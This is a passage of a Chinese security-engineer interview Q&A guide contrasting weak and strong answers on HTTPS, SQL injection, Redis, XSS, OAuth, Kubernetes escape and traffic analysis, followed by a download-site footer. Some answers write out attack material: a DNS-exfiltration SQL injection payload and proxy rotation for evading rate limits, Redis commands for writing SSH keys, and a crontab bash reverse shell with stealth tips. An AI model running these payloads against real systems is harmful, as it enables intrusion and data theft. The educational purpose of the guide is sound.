可疑请求,返回一段经过高度混淆的动态JavaScript挑战代码(如要求计算一段复
杂的数学题并携带结果重新请求)。真实浏览器或APP能在毫秒级无感计算并完成
重放,而普通爬虫脚本缺乏JSV8执行引擎,直接被清洗掉。
3、接口数据的动态混淆与投毒反制。对于成功突破防线的少量高级爬虫,我会采
取数据层面的反制。比如对接口返回的关键数据(如商品价格)进行自定义字体的
映射替换(如返回数字“5”,前端自定义字体渲染为“8”),爬虫抓到的是错误数
据。甚至设立“蜜罐商品”,诱导爬虫抓取带有隐蔽追踪水印的虚假库存数据,一旦
黑客利用这些数据去作弊,立刻在后台锁定其真实账号网络。
这种策略既保证了真实用户的丝滑体验,又极大地拉高了黑产的破解成本。
Q11:对称加密和非对称加密在HTTPS握手过程中分别扮演什么角色?为什么
不全用非对称加密?
❌不好的回答示例:
HTTPS就是用非对称加密来保证安全的,比如用RSA算法。非对称加密有一个公钥
和一个私钥,公钥给大家用,私钥自己留着,这样别人就破解不了了。对称加密就
是一个密钥两边都用,比较容易泄露。在HTTPS里,可能客户端发数据是用非对称
加密,服务器回数据是用对称加密吧。为什么不全用非对称加密,可能是因为非对
称加密的计算过程比较复杂,如果一直用的话服务器会受不了。
为什么这么回答不好:
1、对HTTPS底层机制的描述完全错误,没有理清两种加密算法在握手阶段与数据
传输阶段的具体分工。
2、没有提及核心的“证书体系(CA)”和“会话密钥协商机制”,导致逻辑不闭环。
3、表达不专业,使用了大量“可能”、“吧”这种极度不确定的词汇,给面试官留下基
础不扎实的印象。
高分回答示例:
在HTTPS(TLS/SSL)体系中,对称加密与非对称加密是协同工作的,我通常
用“非对称加密负责解决信任与密钥交换,对称加密负责高效率的数据传输”来概括
它们的角色。
1、非对称加密的角色:身份认证与密钥协商。在TLS握手阶段,服务器首先将自己
的数字证书(包含公钥)发送给客户端。客户端利用内置的CA根证书(非对称加密
机制)验证该证书的合法性,确保没有中间人劫持。确认身份后,双方利用非对称
加密算法(如RSA或更高效的ECDHE椭圆曲线算法)进行参数交换,共同协商计
算出一个临时的“会话密钥(SessionKey)”。在这个阶段,非对称加密仅用于传
递极其少量且关键的密钥材料。
2、对称加密的角色:应用层数据传输。握手完成后,后续所有的HTTP请求与响应
(如HTML页面、图片传输),都将使用刚才协商出的那个“会话密钥”,通过对称加
密算法(如AES-GCM)进行高强度的加密与解密。
3、为什么不全局使用非对称加密:核心在于算力成本的巨大差异。非对称加密
(如RSA)涉及极其复杂的大数质因数分解或离散对数运算,其加密/解密速度比对
称加密(如AES)慢上百倍甚至千倍。如果网页传输的几兆字节数据全部采用非对
称加密,移动端设备的电量将迅速耗尽,服务器的CPU资源也会瞬间被压垮,根本
无法支撑现代互联网的高并发访问。
通过这种“两段式”架构,HTTPS完美平衡了安全性与工程落地时的性能消耗。
Q12:发现一个盲注漏洞,但在实网环境中对方有严格的请求频率限制,你会如
何高效地提取数据?
❌不好的回答示例:
盲注本来就很慢,如果对方还有请求频率限制,那确实比较麻烦。我一般会用
Sqlmap,然后在里面加上延时参数,比如--delay5,让它每隔5秒再发一个请求,
防止被WAF封掉IP。然后就挂在服务器上慢慢跑,虽然可能要跑几天几夜,但只要
有耐心总能把数据跑出来。实在不行,我就多弄几个代理IP,通过切换代理来绕过
频率限制。
为什么这么回答不好:
1、缺乏高级渗透技巧,遇到阻碍只会机械地调整自动化工具参数,暴露出严重依
赖Sqlmap的脚本小子思维。
2、使用传统的基于时间的盲注结合低频请求,效率极其低下,在实战中一旦中间
网络波动就会导致数据位错位,且容易引发运维侧的低频长时告警。
3、完全忽略了题目暗示的“高效”二字,没有提到OOB(带外数据提取)等现代高
阶漏洞利用手段。
高分回答示例:
在有严格频率限制(如WAF速率控制或风控策略)的环境中进行盲注,传统的基于
时间(Time-based)或布尔(Boolean)的单字符枚举法会产生海量的请求,极易
触发熔断机制。为了实现“高效且隐蔽”的提取,我通常的逻辑是优先寻求“带外通
信”,其次优化“二分算法与分布式调度”。
1、首选策略:OOB带外数据提取(DNSLog/HTTPLog)。如果目标数据库支持
发起网络请求(如MySQL在Windows环境下的load_file()结合UNC路径,或
Oracle的UTL_HTTP,SQLServer的xp_dirtree),我会将需要查询的SQL结果
通过字符串拼接,作为子域名向我控制的DNS服务器发起解析请求。例如:select
load_file(concat('\\\\',(selectpasswordfromuserslimit1),'.
\\a'))。这样,只需1次请求,就能在我的DNS日志中直接看到整条数据内容,完
美绕过盲注的效率瓶颈和频率限制。
2、次选策略:位运算与二分查找极致优化。如果目标由于内网隔离无法出网,只
能硬刚盲注,我会放弃Sqlmap的默认策略。我会自己编写Python脚本,采用二分
查找法结合位运算(Bitwiseoperations)。比如查询一个字符的ASCII码,二分
法只需约7次请求,而顺序遍历最多需要128次。通过精简Payload压缩请求次数。
3、分布式代理调度网。为了绕过速率限制,我会将刚才编写的高效探测脚本接入
到高匿轮拨代理池(ProxyPool)中。将目标数据的获取任务切片(比如代理A负
责提取前10个字符,代理B负责提取后10个),在保证单个IP请求频率极低且不触
发告警的前提下,通过并发大幅提升整体提取效率。
Q13:讲一下Redis未授权访问漏洞的利用姿势(比如写公钥、反弹shell),
以及实战中遇到过什么坑?
❌不好的回答示例:
Redis未授权访问就是因为它没有设置密码或者密码太弱了。利用的话,我一般连
上之后,会用configsetdir设置一下目录,比如设置到/root/.ssh/下,然后把我的
公钥写到authorized_keys文件里,这样我就能免密码SSH登录了。或者写一个定
时任务,用bash反弹一个shell回来。遇到的坑可能就是有时候目录没有写入权限,
或者写进去了但是连不上,这时候我就换一种方法再试试。
为什么这么回答不好:
1、对利用姿势的描述过于生硬,像是背诵博客文章,没有说明写入过程中必须要
更改的数据库持久化参数(如dbfilename)。
2、对“实战中遇到的坑”避重就轻,完全没有提及在写入Crontab时不同Linux发行
版的语法要求,以及写入乱码导致利用失败的关键细节。
3、没有体现出对生产环境业务数据的敬畏之心,实操动作存在极大的引发次生灾
害的风险。
高分回答示例:
Redis未授权访问是内网渗透中的利器。其核心原理是利用Redis默认的持久化机
制,将恶意数据写入到操作系统的敏感目录中。
常见的利用姿势包括:
1、写入SSH公钥:通过configsetdir/root/.ssh/和configsetdbfilename
authorized_keys,将本地生成的公钥写入,实现免密登录。
2、写入Crontab反弹Shell:将目录设置为/var/spool/cron/,文件名为root,
写入*****bash-i>&/dev/tcp/IP/PORT0>&1。
3、写入WebShell:在已知Web绝对路径的情况下,直接写入一句话木马。
4、主从复制RCE:对于Redis4.x/5.x,可以通过伪造为主库,利用主从复制机制
将恶意的.so模块同步到目标机器上,直接加载执行任意命令,这是目前最稳定
和无视目录权限的打法。
在实战中,我遇到并解决过几个致命的坑:
1、Crontab格式校验坑:CentOS和Ubuntu对定时任务文件的语法要求不同。在
Ubuntu下,如果通过Redis写入的数据包含乱码(Redis数据文件的二进制部
分),会导致整个crontab文件语法错误,不仅反弹不了shell,还会破坏原有的正
常定时任务。对此,我会预先在Payload前后加入多行\n\n换行符,隔离乱码。
2、破坏业务数据坑:实战中直接flushall然后写数据是极度危险的,会导致生
产环境缓存雪崩。我通常的做法是先备份原有的dir和dbfilename配置,创建
一个新的库索引(如select10),完成写入后再恢复配置,做到无痕渗透。
3、降权运行坑:如果Redis是使用较低权限的用户(如redis用户)启动的,写入
/root/.ssh会报Permissiondenied。此时我会转向主从复制RCE,或者寻找本
地提权漏洞进行组合利用。
Q14:当业务部门为了上线速度拒绝修复你提的高危安全漏洞时,你作为安全工
程师会如何沟通和推动?
❌不好的回答示例:
如果业务部门拒绝修复漏洞,我会直接给他们讲这个漏洞有多严重,黑客利用了之
后会导致什么后果。如果他们还是因为要赶上线不听我的,那我会在漏洞工单上备
注他们拒绝修复,然后把这个问题直接反馈给我的主管或者老板,让领导去压他
们。反正安全风险我已经指出来了,后续如果真的出了问题,锅就不在我的身上。
为什么这么回答不好:
1、沟通方式过于僵化和对立,暴露出缺乏跨部门协作的同理心,仅仅把安全视
为“卡脖子”的关卡,而不是业务的保障。
2、过度依赖职场“甩锅”和“向上升级”策略,没有展现出安全工程师主动提供替代方
案和缓解措施的专业能力。
3、缺乏将安全技术风险转化为商业语言的能力,业务听不懂“漏洞多严重”,只关
心“会不会影响赚钱”。
高分回答示例:
在遇到业务追求迭代速度与安全合规发生冲突时,我通常的逻辑是“不轻易Say
No,用风险量化对齐目标,用替代方案购买时间”。
1、将技术语言转化为业务风险量化。我不会干巴巴地说“这里有个SQL注入”。我会
拉出他们业务的日活和流水,明确告诉业务负责人:“这个漏洞被利用的门槛极低,
一旦触发,我们的用户核心交易数据将被拖库,不仅会导致竞对分析我们的策略,
还可能面临网信办的百万级合规罚款和APP下架风险。”用商业层面的潜在损失去对
抗他们延迟上线的成本。
2、提供灵活的“临时止血+后续修复”替代方案。如果上线日期确实是不可逾越的死
线(比如双11大促前夜),我会主动妥协。我会在WAF或RASP设备上,专门针对
他们这个脆弱的接口配置一套高强度的定制化拦截规则(虚拟补丁),从而在网络
边界暂时防住攻击。然后,在工单中约定在大促结束后的第一个迭代版本中,必须
从代码层彻底修复。
3、执行标准的风险接受(RiskAcceptance)流程。如果经过反复沟通且没有替
代方案,业务方依然坚持带病上线。我会启动标准的风险豁免流程,要求业务线第
一负责人(如VP或总监级别)在OA系统中书面签署《高危风险接受函》。这种签
字画押的动作,通常会让他们重新评估收益与风险,很多时候他们会因此主动退回
代码进行修复。
通过这套组合拳,既能保证业务流转,又能守住安全底线,建立起安全与业务的信
任关系。
Q15:XSS漏洞目前在大型互联网公司还常见吗?DOM型XSS的排查难点在哪
里?
❌不好的回答示例:
现在大型公司里XSS漏洞还是挺常见的吧。因为前端页面有很多输入框,只要开发
忘了过滤或者转义,很容易就能插入弹窗脚本。DOM型XSS就是前端自己处理数据
出错了,不需要经过服务器。它的排查难点主要是需要人工去点页面的按钮,看看
会不会弹框。如果是扫描器的话,可能扫不到,因为它只看服务器返回的HTML代
码,看不到前端自己执行的动作。
为什么这么回答不好:
1、对行业现状的认知出现偏差。在现代大型互联网公司中,传统的反射型和存储
型XSS已经因为现代前端框架的普及而大幅度减少,回答“挺常见的”显得不专业。
2、对DOMXSS产生原理的解析过于浅显,没有提到关键的Sink(执行点)和
Source(输入点)等核心概念。
3、没有指出排查DOMXSS的深层技术难点,对现代自动化测试工具(如IAST、
污点追踪)的介入缺乏了解。
高分回答示例:
在大型互联网公司,由于Vue、React等现代MVVM前端框架的普及,框架自带的
默认上下文转义机制已经基本消灭了传统的反射型和存储型XSS。目前仍然残存且
难以根治的,主要是由于开发人员不规范使用特定API(如React的dangerouslySet
InnerHTML或Vue的v-html)导致的DOM型XSS。
DOM型XSS的本质是前端JavaScript代码在获取不可信的输入源(Source,如l
ocation.hash、document.referrer)后,未经清洗,直接传递给了危险的执行端点
(Sink,如eval()、innerHTML)。它的排查难点极其突出:
1、黑盒扫描器(DAST)的盲区。传统的漏扫工具通过分析HTTP响应包中的
HTML是否包含注入的Payload来判断XSS。但DOMXSS的整个数据流转(从
URL参数到DOM树更新)完全在客户端浏览器内部完成,HTTP流量中根本没有恶
意的响应体。因此,传统扫描器极度容易漏报。
2、前端打包混淆与异步渲染机制。现代前端代码上线前都会经过Webpack等工具
的深度压缩和混淆(uglify),变量名变成单字母,逻辑被强行打乱。安全工程师即
使进行白盒审计,在缺乏SourceMap的情况下,也很难追踪污点数据的流向。加上
大量异步渲染(Ajax/Fetch)的存在,导致攻击面极其碎片化。
3、破解与排查思路。面对这种困境,我通常会推动建设IAST(交互式应用安全测
试)或引入浏览器扩展级别的污点追踪工具。在测试环境中,向前端注入Hook代
码,监控所有危险的Sink函数调用栈。当外部输入的数据流向了被劫持的Sink且未
被净化时,自动抛出报警,精确到具体的JS代码行,从而极大提升DOMXSS的排
查效率。
Q16:介绍一下OAuth2.0的授权码模式流程,其中State参数的作用是什么?
如果缺失会导致什么安全问题?
❌不好的回答示例:
OAuth2.0就是用来做第三方登录的,比如用微信登录其他的网站。授权码模式大
概是先去申请一个授权码,然后再用这个码去换Token,拿到Token之后就可以去拉
取用户的信息了。那个State参数我记得就是一个随机字符串,服务器发过来,然后
再原样传回去。如果不加这个参数的话,可能会导致授权的时候数据乱套,或者容
易被别人截获篡改吧。具体会导致什么漏洞不太清楚,反正加上总比不加好。
为什么这么回答不好:
1、流程描述过于粗糙,没有体现出资源拥有者、客户端、授权服务器三个核心角
色的交互逻辑,缺乏专业度。
2、对State参数的作用理解有误,不知道它设计的初衷是专门为了防范CSRF攻
击的。
3、无法准确描述缺失该参数会导致的致命安全漏洞(账户劫持/绑定劫持),暴露
出对身份认证安全机制没有进行过深度研究。
高分回答示例:
OAuth2.0的授权码模式(AuthorizationCode)是所有模式中最严密、最安全的
一种。其标准交互流程如下:
1、客户端(第三方应用)引导用户跳转到授权服务器,并携带client_id、重定
向URI和state参数。
2、用户在授权服务器上登录并同意授权。
3、授权服务器携带一个一次性的授权码(Code)和原样的state参数,将用户
重定向回客户端的URI。
4、客户端在后端服务器拿到Code后,加上自己的client_secret,再次向授权服
务器发起后台请求换取AccessToken。最终用Token拉取用户信息。
在这个流程中,**state参数扮演着极其关键的安全角色,它的本质是一个Anti-
CSRFToken**。在发起第一步请求前,客户端必须在本地(如Session中)生成
并保存一个不可预测的随机字符串(state),并在授权回调时严格校验URL中的
state是否与本地一致。
如果缺失或不校验state参数,将导致致命的“账户绑定劫持(CSRF绑定)”漏
洞:
攻击者先在自己的电脑上发起正常的绑定流程,在进行到第3步(获取到携带攻击
者Code的回调URL)时将其拦截并停止。然后,攻击者将这个URL包装成恶意链
接发送给受害者点击。受害者由于已经在浏览器中登录了第三方应用,点击链接
后,受害者的第三方账号就会不知不觉地绑定到了攻击者提供的Code对应的资源账
号上。此后,攻击者直接登录自己的资源账号,就能看到受害者的所有私密数据。
因此,强制校验state参数是确保认证链路不被横向拼接的唯一手段。
Q17:Kubernetes(K8s)集群中,如果某个Pod被攻陷,攻击者如何利用容
器逃逸获取宿主机权限?如何防御?
❌不好的回答示例:
如果K8s的Pod被攻陷了,黑客一般会用各种提权脚本在里面试试能不能拿到Root
权限。或者看看有没有什么以前的Docker逃逸漏洞,比如内核漏洞之类的。如果要
防御的话,第一就是要经常给K8s和Docker打补丁,保持最新版。第二就是要在容
器里装安全软件。第三就是控制好Pod的权限,不要随便给太高的权限,网络上也
做点隔离,这样就算被黑了也出不来。
为什么这么回答不好:
1、对容器逃逸的底层原理认知模糊,仅仅泛泛而谈“内核漏洞”,没有切中K8s架构
下最常见、最具破坏性的配置不当逃逸(如特权模式、危险挂载)。
2、防御措施过于空泛,属于“打补丁、装杀毒”的网管思维,没有提及K8s原生的准
入控制(AdmissionController)和安全策略机制。
3、没有体现出对云原生安全(CloudNativeSecurity)这一前沿领域的实战攻防
经验。
高分回答示例:
在K8s环境中,容器逃逸的本质是“打破Namespace隔离与Cgroups限制,获取宿
主机的系统资源或Root权限”。由于K8s的灵活性,由于配置不当导致的逃逸远比内
核漏洞(如DirtyPipe)更常见。
在实战中,攻击者通常利用以下三种错误配置进行逃逸:
1、特权容器逃逸(PrivilegedMode):如果Pod在securityContext中开启了
privileged:true,此时容器内部相当于拥有宿主机几乎所有的Capabilities(如
CAP_SYS_ADMIN)。攻击者可以直接在容器内挂载宿主机的真实硬盘(如/dev/sda
1),写入带有后门的crontab任务或修改/etc/shadow,瞬间控制宿主机。
2、危险的HostPath挂载:运维为了方便收集日志,常将宿主机的根目录/或/
var/run/docker.sock挂载到Pod内部。如果是挂载了.sock文件,攻击者可以在
容器内直接通过API与宿主机的DockerDaemon通信,拉取一个全新的特权镜像并
执行,实现逃逸。
3、共享宿主机命名空间:如果启用了hostPID或hostNetwork,攻击者不仅能嗅
探宿主机的网络流量,还能向宿主机的关键进程注入恶意代码。
为了在K8s集群中防御这类逃逸,我通常会落地以下硬性安全策略:
1、强制准入控制(AdmissionControllers):弃用已废弃的PSP(Pod
SecurityPolicies),引入OPAGatekeeper或Kyverno。在集群API层面编写
Rego规则,强制拦截任何带有privileged:true或尝试挂载敏感HostPath的
Pod创建请求,从源头上切断逃逸通道。
2、最小化Capabilities与只读根文件系统:默认剥夺容器的CAP_NET_RAW等权
限,并配置readOnlyRootFilesystem:true,让攻击者即使拿到了Shell也无法在系
统中下载或写入恶意工具。
3、落地运行时防护:在宿主机层部署基于eBPF技术的运行时监控工具(如
Tetragon或Falco),当检测到容器内发生异常系统调用(如尝试改变挂载命名空
间unshare或反弹Shell的子进程执行)时,立刻告警并杀死对应的Pod。
Q18:遇到过被加密或混淆的恶意流量吗?你是如何进行抓包分析和特征提取
的?
❌不好的回答示例:
在做网络流量分析的时候,经常会遇到加密的流量。如果是HTTPS的话就比较麻
烦,因为看不了里面的内容。我一般会看它的IP地址和端口,去威胁情报库里查一
下是不是黑名单IP。如果是的话就报警。如果不确定的话,我会看看它的数据包大
小和发送频率,如果很规律的话就比较可疑。有时候我也会尝试用Wireshark把
SSL证书提取出来看看,如果没有别的办法,那加密的流量我也只能放弃深挖了。
为什么这么回答不好:
1、分析手段极其匮乏。遇到HTTPS就直接“放弃深挖”,仅仅依赖查IP黑名单,说
明缺乏高级威胁狩猎(ThreatHunting)的能力。
2、对加密流量特征的认知过于浅薄。不知道即使在无法解密Payload的情况下,依
然可以通过协议握手特征、元数据特征进行精准识别。
3、没有提及现代红蓝对抗中主流的C2(命令与控制)工具(如CobaltStrike)的
流量伪造技术,缺乏前沿实战经验。
高分回答示例:
在现代攻防对抗中,攻击者(如使用CobaltStrike、Metasploit)几乎都会使用加
密或高度混淆(MalleableC2)的流量来隐蔽通信。我通常的逻辑是:“摒弃单纯
依赖Payload特征的思路,转向基于TLS指纹、行为元数据与时序特征的多维分
析”。
1、利用JA3/JA3S进行TLS指纹提取。虽然HTTPS传输的内容被加密了,但在TLS
握手阶段(ClientHello和ServerHello),客户端支持的加密套件(Cipher
Suites)、椭圆曲线类型等信息是明文传输的。不同的恶意软件本身使用的网络库
(如Python的requests,或特定版本的Go语言库)有着极其固定的握手特征。我
会提取出JA3哈希值,与威胁情报库中的已知木马指纹进行比对,这在发现新型免
杀后门时非常高效。
2、挖掘时序与长连接的心跳特征(Beaconing)。即便经过加密和混淆,木马为
了维持控制权,必须定时向C2服务器发送心跳包。我会将抓包数据(PCAP)导入
到Zeek等流量分析系统中,计算特定源IP向特定目的IP发包的时间间隔熵值。正常
的业务流量是随机的,而恶意心跳即便加入了抖动(Jitter),在长时间尺度下依然
会呈现出明显的周期性。
3、分析证书的元数据异常。很多黑产为了省钱或追求自动化,会使用自签名证
书,或者证书的Subject字段是随机生成的无意义乱码。我会通过提取证书的颁发
者、有效期长度(如恰好10年或极短),以及是否存在SAN(使用者可选名称)扩
展缺失等异常元数据,来辅助定位恶意域名。
如果是企业内网环境,我会更进一步,推动在客户端部署证书信任链(SSL
Inspection/中间人解密网关),配合主机侧的进程与网络端口关联日志,直接在解
密后审查其底层协议是否符合HTTP规范,从而彻底扒掉恶意流量的伪装。
Q19:假设内网有一台主机频繁向外部恶意域名发起DNS请求,但抓不到具体
进程,你有哪些排查思路?
❌不好的回答示例:
如果一直有恶意DNS请求但找不到进程,那肯定是被挂了很深隐藏的木马。我先会
用netstat看看有没有异常连接,如果没有,那就用杀毒软件全盘扫描一下,看看能
不能把病毒扫出来。如果杀毒软件也找不到,我可能会断网看看它还发不发。实在
找不到是哪个进程在搞鬼的话,为了安全起见,我直接让运维把这台机器重装系
统,这样最彻底,也能快速解决问题。
为什么这么回答不好:
1、过于依赖简单的基础命令,netstat抓不到是高级Rootkit的常态,此时应该转
向更底层的系统排查手段。
2、动辄“重装系统”是逃避问题的表现,虽然能解决单台机器的问题,但没有找到入
侵入口和横向移动的痕迹,内网的其他机器依然面临巨大风险。
3、缺乏结合网络层与主机层进行关联排查的高级应急响应
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 教育收费规范化管理体系建设
- 单位参观流程标准化实施大纲
- 定制展厅设计案例分析
- 26年胰腺癌基因检测与靶向用药关联
- 安溪教育发展概况
- 26年靶向疗效适老化服务
- 班队礼仪教育体系构建
- 老人健康教育课件
- 企业活动可视化实施纲要
- 2025年城市规划中数字孪生平台接口开发
- 增资扩股工作可行性研究报告材料
- 解读人机协同
- 高校大学生网络安全教育
- 化妆品赏析与应用学习通超星期末考试答案章节答案2024年
- CJT156-2001 沟槽式管接头
- 人力资源外包投标方案
- MOOC 材料成形技术基础-西安交通大学 中国大学慕课答案
- 翻译服务劳务合同范本
- 2023版道德与法治教案教学设计专题4第3讲 让改革创新成为青春远航的动力
- 2023年新高考II卷数学高考试卷(原卷+答案)
- 电子支付与网络银行课件
评论
0/150
提交评论